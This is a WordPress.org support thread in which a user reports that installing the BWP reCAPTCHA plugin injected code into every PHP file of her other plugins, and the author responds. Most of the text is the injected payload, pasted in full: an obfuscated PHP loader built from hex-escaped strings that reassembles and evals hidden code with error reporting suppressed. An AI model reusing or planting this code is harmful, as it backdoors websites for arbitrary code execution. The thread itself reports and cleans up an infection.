• Resolved Jenny

    (@enigma666666)


    I installed your plugin on a client’s website this morning. Immediatelly upon installation, all my plugins disappeared from wp-admin. I deleted your plugin and restored the website, to no avail. Although the plugins appeared in ftp view inside plugins folder, they did not appear on the website nor in wp-admin.

    So I now went through the index.php of each of my previously active plugins and found that upon installing your plugin, malicious code got inserted inside the top section of each index.php file of all other plugins in the plugin folder.

    Im now having to clean up the mess.

    I can send you the malicious code if you want to have a look at it.

    https://wordpress.org/plugins/bwp-recaptcha/

Viewing 6 replies - 1 through 6 (of 6 total)
  • Thread Starter Jenny

    (@enigma666666)

    Correction, the hacking code injects into all php files of other plugins, not only the index.php files

    Plugin Author Khang Minh

    (@oddoneout)

    I have just done a quick check and the codes in WordPress’s SVN looks clean. The malware could have come from something else.

    Wondering if other users are experiencing this?

    You can post the malicious codes, btw.

    Thread Starter Jenny

    (@enigma666666)

    Granted, but the only thing that I did, was to install the plugin.

    Here is the code injected inside all php files of all plugins in the plugin folder, upon installation of the plugin.

    <?php $xrjhmxowac = ‘:>:8:|:7#6#)tutjyf%x5c%x7860439275ttjpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x782x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsb*3!%x5c%x7827!hmg%x5c%xc%x7822)gj6<^#Y#%x5c%x785cq%x5c%x782x7825epnbss-%x5c%x7825r%x5c%x7878W~>>1*!%x5c%x7825b:>1<!fmtf!ftpmdXA6|7**197-2qj%x5c%x78257-Kk;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5c%4]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%xhA%x5c%x78272qj%x5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x7vufs}%x5c%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}%x78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]273]y76]271]7825hW~%x5c%x7825fdy)##-!#~<%x5c<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]2525)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+Atjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x7825b:>%x5c%x7825s:%x7825!|!*#91y]c9y]g2y]##%x5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7284]364]6]234]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5c%xerror_reporting(0); preg_replace(“%x2f%50%x2e%52%x29%57%x65”,”%Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825Kc#<%x5c%x7825tpz!>!#]D6M7]K3#<%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7x65%166%x61%154%x28%151%x6d5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuof5c%x787f%x5c%x787f%x5c%x787f%x5c56<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827px7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x47]67y]37]88y]27]28y]#%x5c%x7%x7824<!%x5c%x7825o:!>!%x5c%x78242178}527}88:}334}472%x5c%x7824<h>#]y31]278]y3e]81]K78:567f;!osvufs}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%x78uopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;72]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q%x5c%x7825<#762]y7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782f+*c%x7827;%x5c%x7825!<*#}_;#)%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%utRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x7860gvodu825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x782f},;#-fwjidsb%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f0f(-!#]y76]277]y72]265]y39323ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:osvufs:~928>x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x786)udfoopdXA%x5c%x7822id%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x5c%x7825}U;y]}R;2]},;osy72]265]y39]274]y85]273]y6g]273]y76]271]y7d]252]y74]2y6g]257]y86]267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x7y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82]y76]62]y3:0GB)fubfsdXA%x5c%x7825tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x5c%x7825%x7825j,,*!|%x5c%x7824-%x5c%x7827825bss%x5c%x785csboe))1%x5c%x782f56]y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84x7878:-!%x5c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#->%x5c%x7822:ftmbg39*56Ax7825Z<^2%x5c%x785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5%x5c%x7860msvd}R;*msv%>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%xc^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#2f7rfs%x5c%x78256<#o]1%x5c%x782f7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|8257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x)#%x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]51]y35]256]0msvd},;uqpuft%x5c%x7860msvd}+;!>7824-%x5c%x7824tvctus)%x55z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]5525z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x7860TW~%x5-!%x5c%x7825%x5c%x7824-%x5c%%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37]278]225]24!#0#)idubn%x5c%x7860hfsq)!s#}#-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#nfd>%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x78257825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsf#T#-#E#-#G#-#H#-#I#-#K#-#L#-#Mx5c%x78256<*Y%x5c%x7825)fnbozcYuf]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]DE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x78>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0d%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{66~bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%xx78786<C%x5c%x7827&6<*rfs%x5c82400~:<h%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x7860%x5c%x7$GLOBALS[“%x61%156%x75%156%x%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x7825x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x78]271]y83]256]y78]248]y83]256]y81]61”])))) { $GLOBALS[“%x61%1566%x5c%x7824-%x5c%x7824<%x5c5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!ftmf!x5c%x78256~6<%x5c%x787fw6<*K)25t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x78x5c%x7825c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825c%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68%x75%156%x61″]=1; function fjfgg($n){return chr(ord($n)-1);} @fs%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVU<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x7827pd%x5c%x782]275]y83]248]y83]256]y81]265]y72]254]y7622%134%x78%62%x35%165%x3a%146%x21%76%x21%50%x5c%x7825}#-!tussfw)%x5c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%825)7gj6<**2qj%x5c%x7825)hopm3qjA)x5c%x7824gps)%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%5%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x55c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787fh%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]4%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[4gvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%#<%x5c%x7825tmw!>!#]y84]275]y83]27%x5c%x7824-%x5c%x7824%160%x6c%157%x64%145%x28%141%x72%162%x61%171%x5f%155%x61%160%x28%42%x6%x7827!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825,3,j%x5c%x7825>j%x%x74%141%x72%164”) && (!isset(fsdXk5%x5c%x7860{66~x7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kx7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5fsqnpdov{h19275j{hnpd19275fubmgoj{h6%152%x66%147%x67%42%x2c%163%x74%162%x5f%163%x70%154%x69%164%50%xc%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%%x5c%x782f7&6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]57-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x825)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**#57]38y]6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x786FS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%c%x787fw6*%x5c%x787f_*#fub*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tif((function_exists(“%x6f%142%x5f%163-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%x25j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:jt0*?]+^?]_%x5c%x785c}X%x5c%x25)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%x5c%xwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%5c%x7878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]815c%x7825!<**3-j%x5c%x7825#%x5c%x782f#7e:55946-tr.984:75983:48hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1!Ypp2)%x5c%x7825zB%x5c%x7827825<#g6R85,67R37,18R#>q%x5c%I&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860825yy>#]D6]281L1#%x5c%x782f#M5##!>!2p%x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7867<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)u%x7825:-t%x5c%x7825)3of:opjudovg<~%x5cp!*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tpqss)tutjyf%x5c%x78604%x5c5c%x7825)j{hnpd!opjudovg!|!**#j{c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]227K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x74-%x5c%x7824!>!fyqmpef%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN825!<***f%x5c%x7827,*e%x5c%x7827,*%x7825))!gj!<*#cd2bge56+99386cc%x7825kj:-!OVMM*<(<%x5c%x78e%x5cqj3hopmA%x5c%x78273qj%%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x7867y]562]38y]572]48y]#>m%x5c%x7825:|:*r%x5c3]y76]277#<%x5c%x7825t2w>#]y74]273]y76]252]y85]256])7gj6<*QDU%x5c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7866<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubc%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%x7x5c%x7825hOh%x5c%x782f#00#W~!%x5c%x787824<!%x5c%x7825tzw>!#]y76]277]H*WCw*[!%x5c%x7825rN}#QIjQeTQcOc%x5c%x782f#5c%x7825ww2!>#p#%x5c%x782f#p#%y76]72]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!1]334]368]322]3]364]6]283]427]36]373P6]36]73]83]6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78235.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^vr#%x5c%x785cq%x5c%x7825)ufttj%x5%x5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7:::::-111112)eobs%x5c%5c%x785c%x5c%x7825j:.2^,%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%xV%x5c%x7878{**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3qQUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!~!<b0QIQ&f_UTPI%x5c%x7860QUUtdz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%xc%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*:984:71]K9]77]D4]82]K6]72]K9]78]K5]53]7825)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x7825-x7860un>qp%x5c%x7825!|Z~!<]84#-!OVMM*<%x22%51%x29%5178pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+s825o:W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x78z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5265]y72]254]y76]61]y33]68]y34]68]c%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%82fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5#}+;%x5c%x7825-qp%x5c%x7825)54l}%x5]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%x5c%x78246767~6<Cw785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785%x29%73″, NULL); }q%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5cd%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x78A%x5c%x7827&6<%x5c%x787fw6*%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256/(.*)/epreg_replacepqhjvmwkca’; $rqudnywnyc = explode(chr((191-147)),’6855,37,6005,30,4619,28,4781,29,5050,62,910,63,1091,27,5876,70,6257,65,5263,53,5015,35,9676,58,8208,61,10056,50,5170,53,1208,45,4264,47,7497,56,692,54,6376,63,4446,29,7995,60,3000,32,9562,39,4887,29,267,32,2138,20,8148,60,2469,20,7761,54,5370,34,7973,22,3926,33,412,53,3077,60,3834,62,8703,33,170,36,5461,62,6777,26,6035,20,8619,41,6502,38,5579,42,1765,37,4530,37,6803,52,5112,58,6639,44,2158,51,5671,41,10027,29,1118,58,1477,70,2801,22,2078,60,3185,33,9976,51,1429,48,7025,65,9209,49,4311,70,147,23,3766,68,8269,57,4012,40,5946,59,7213,25,6892,47,3032,45,5781,40,6683,42,773,22,2823,46,7662,32,7274,46,3303,41,2744,57,8326,46,1053,38,4199,65,795,59,7876,34,9908,68,9135,37,8794,22,9258,26,7450,47,9310,46,1912,70,3598,27,7591,49,1731,34,7910,30,6589,50,9016,24,7376,44,8947,69,1686,45,77,70,9801,68,4837,50,4567,52,1848,64,9641,35,1659,27,2008,70,2721,23,0,36,6222,35,4052,48,7640,22,4100,49,650,42,4381,65,1176,32,9869,39,2209,61,4647,52,4149,50,7347,29,6055,54,8885,62,2270,25,465,61,299,51,6109,60,3669,51,6996,29,8409,31,2295,53,2617,50,5223,40,5821,34,8097,51,2348,61,4475,55,6540,49,1311,29,9601,40,9077,58,5523,56,5621,50,1547,65,8055,42,7553,38,1340,64,2934,66,613,37,5855,21,3511,28,1253,58,3218,25,9517,45,3625,44,9420,64,7694,67,4810,27,2551,32,5712,69,5404,57,1802,46,36,41,7815,22,3137,48,8513,58,7837,39,5316,54,4961,54,8463,20,6725,52,206,35,7320,27,3243,60,8440,23,7090,54,8372,37,4916,45,2489,62,1404,25,3344,52,7144,69,7238,36,9172,37,1015,38,7420,30,3959,53,350,62,3396,47,973,42,3720,46,9040,37,581,32,3539,59,8571,48,6439,63,854,56,2583,34,8660,43,8736,58,9356,64,6939,57,241,26,746,27,8816,69,9734,49,2869,65,8483,30,4699,49,3443,68,6322,54,2667,54,3896,30,6169,53,7940,33,526,55,1612,47,1982,26,4748,33,9484,33,2409,60,9284,26,9783,18′); $wvfacrtpht=substr($xrjhmxowac,(54103-43997),(44-37)); if (!function_exists(‘oobdudqvdk’)) { function oobdudqvdk($kfdnazuldm, $bowzsovwey) { $eukpqfhwqd = NULL; for($qzacyxffzu=0;$qzacyxffzu<(sizeof($kfdnazuldm)/2);$qzacyxffzu++) { $eukpqfhwqd .= substr($bowzsovwey, $kfdnazuldm[($qzacyxffzu*2)],$kfdnazuldm[($qzacyxffzu*2)+1]); } return $eukpqfhwqd; };} $esftebfhmy=”\x20\57\x2a\40\x65\172\x6f\171\x78\145\x7a\156\x77\165\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\62\x30\55\x31\70\x33\51\x29\54\x20\143\x68\162\x28\50\x36\60\x35\55\x35\61\x33\51\x29\54\x20\157\x6f\142\x64\165\x64\161\x76\144\x6b\50\x24\162\x71\165\x64\156\x79\167\x6e\171\x63\54\x24\170\x72\152\x68\155\x78\157\x77\141\x63\51\x29\51\x3b\40\x2f\52\x20\172\x74\151\x74\154\x78\141\x63\152\x6b\40\x2a\57\x20”; $dkjcxrtbib=substr($xrjhmxowac,(63873-53760),(59-47)); $dkjcxrtbib($wvfacrtpht, $esftebfhmy, NULL); $dkjcxrtbib=$esftebfhmy; $dkjcxrtbib=(723-602); $xrjhmxowac=$dkjcxrtbib-1; ?><?php

    Thread Starter Jenny

    (@enigma666666)

    After manually deleting the above code from php files of all the plugins, the plugins once again appeared in wp-admin, so I could reactivate them and they are now functioning properly.

    Thread Starter Jenny

    (@enigma666666)

    I think I have found a name for this hack on google, apparently its called “PHP Exploit P0358”

    Plugin Author Khang Minh

    (@oddoneout)

    Can you try deleting BWP recaptcha and then reinstalling it again? Before doing that though, you should backup wp-content folder just in case.

Viewing 6 replies - 1 through 6 (of 6 total)
  • The topic ‘Plugin Has Malware’ is closed to new replies.